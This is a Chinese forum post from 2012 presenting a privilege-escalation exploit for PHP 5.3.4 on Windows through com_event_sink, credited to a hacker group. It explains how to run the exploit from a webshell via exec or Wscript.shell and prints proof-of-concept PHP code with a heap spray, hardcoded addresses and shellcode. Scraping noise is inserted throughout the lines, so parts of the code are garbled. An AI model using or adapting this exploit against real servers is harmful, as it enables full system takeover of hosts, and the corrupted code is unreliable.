找回密码
 立即注册
查看: 2596|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
3 A) D; E; \9 M4 f6 y7 c
& ^0 y/ ^$ ?3 c/ \- i' ^+ O测试方法如下:cmd /c x:\php\php.exe x:\test.php4 j2 s( n) `1 Z# `1 O

1 l7 ?. P( m2 }下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php
) [* N% R  }$ ~! |$ P这里是两个测试的截图:
/ S3 T3 o: h& W7 u; Y; m* d
: k1 G3 T9 r5 O$ P" C; S7 T
' F1 R; p/ l6 d1 A7 s6 r1 `  }( s- }" v) {: C

. f, ~! ~5 @+ I' Y' _$ D" b! j; Z7 X4 D- K% p% D, f6 A$ l7 {( F
成功利用此漏洞的攻击者将获得系统的最高权限
6 \8 z$ d, d* A# X9 {* a" G: P
7 F- ]) J5 a& W& g3 Y/ u4 A2 t" @
; c* x& A8 ]# |
7 \' I) A* f. J: W6 V9 ]% b
4 u- {  b- p) O' j6 v* }& Y) B/ d+ W6 X% N
关于漏洞分析稍后附上。一下是PoC代码:
" `& F: k7 j. E; c4 Z8 \* P* `+ [' O: f# T' [0 ^* o
<?php- m+ o# b! i" I: t
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞0 ]! E- C2 P- @
//$eip ="\x44\x43\x42\x41";
3 Z9 ~' D. N; h* ]9 d$eip= "\x4b\xe8\x57\x78";; g7 V$ _0 n6 V$ }
$eax ="\x80\x01\x8d\x04";
* R: A3 V1 X& E+ |9 ~$deodrant="";6 O  R( C& e$ f2 @
$axespray = str_repeat($eip.$eax,0x80);) N6 J# X! z- W+ I9 N* L  Z
//048d0190
2 {; t+ w& Y! L' H- oecho strlen($axespray);2 ]1 D" e2 S+ _8 r
echo "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
( n7 R- d0 q* A/ C& oecho "Silic Group Hacker Army - BlackBap.Org";6 _5 \+ E1 w7 _0 j% T
//19200 ==4B32 4b00
! n! I; J' z9 A- Sfor($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}
: Y7 F( t; b0 o" e# {/ I2 J$terminate = "T";
" @: q' a1 W; L$ _0 }$u[] =$deodrant;
/ N( g" T9 \, Z8 C2 d1 G/ S; }. U; e$r[] =$deodrant.$terminate;0 |/ C* i* T- n5 N
$a[] =$deodrant.$terminate;
5 {1 T, f" z* N. ^! r  m$ c$s[] =$deodrant.$terminate;2 ^! V& Y5 V" K/ ^1 C, j; L
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的; L4 j$ L1 `! |  A# n7 }' z
$vVar = new VARIANT(0x048d0000+180);
; Y4 z; e; X/ O5 P1 _. I//弹窗代码(Shellcode)
, s# |: v# \6 n% [$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";$ R  T9 o5 R' m; {, Q
$var2 = new VARIANT(0x41414242);
7 W, M0 X  h5 C/ m  z1 ycom_event_sink($vVar,$var2,$buffer);, f0 `' f9 o! S% ~
?>& O. t  K7 X/ V- Z& Q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表